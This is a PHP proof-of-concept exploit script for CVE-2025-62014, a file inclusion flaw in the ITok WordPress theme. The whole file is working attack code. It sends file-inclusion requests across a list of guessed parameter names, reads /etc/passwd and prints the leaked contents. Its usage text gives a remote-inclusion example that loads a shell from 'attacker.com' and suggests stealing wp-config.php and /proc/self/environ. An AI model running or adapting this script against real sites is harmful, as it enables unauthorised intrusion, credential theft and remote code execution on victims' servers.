<?php
/**
* CVE-2025-62014 PoC - ITok Theme Remote/Local File Inclusion
* Affected: ApusTheme ITok WordPress Theme <= 1.1.42
* CVSS: 8.1 (High)
*
* Usage:
* 1. Remote File Inclusion: php poc.php http://target.com /path/to/malicious
* 2. Local File Inclusion: php poc.php http://target.com /etc/passwd
*/
error_reporting(0);
if ($argc < 3) {
echo "Usage: php {$argv[0]} <target_url> <file_path_or_url>\n";
echo "Example (RFI): php {$argv[0]} http://victim.com http://attacker.com/shell.txt\n";
echo "Example (LFI): php {$argv[0]} http://victim.com /etc/passwd\n";
exit(1);
}
$targetUrl = rtrim($argv[1], '/');
$filePath = $argv[2];
// Common vulnerable parameters in ITok theme
$vulnerableParams = [
'template',
'page',
'file',
'include',
'load',
'view',
'action',
'controller'
];
echo "[*] CVE-2025-62014 PoC - ITok Theme File Inclusion\n";
echo "[*] Target: {$targetUrl}\n";
echo "[*] File to include: {$filePath}\n\n";
// Try each parameter
foreach ($vulnerableParams as $param) {
$exploitUrl = "{$targetUrl}/?{$param}={$filePath}";
echo "[+] Testing parameter: {$param}\n";
echo "[+] URL: {$exploitUrl}\n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploitUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 PoC Scanner');
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode == 200 && !empty($response)) {
echo "[!] Potential vulnerability detected with parameter: {$param}\n";
echo "[!] HTTP Code: {$httpCode}\n";
if (strpos($filePath, '/etc/') !== false || strpos($response, 'root:') !== false) {
echo "[+] LFI Successful - File contents leaked!\n";
echo "---Response Preview---\n";
echo substr($response, 0, 500) . "...\n";
}
break;
}
}
echo "\n[*] Scan complete. Manual verification recommended.\n";
echo "[*] For RFI, ensure your server serves the malicious PHP file.\n";
echo "[*] For LFI, try: /etc/passwd, /proc/self/environ, wp-config.php\n";
?>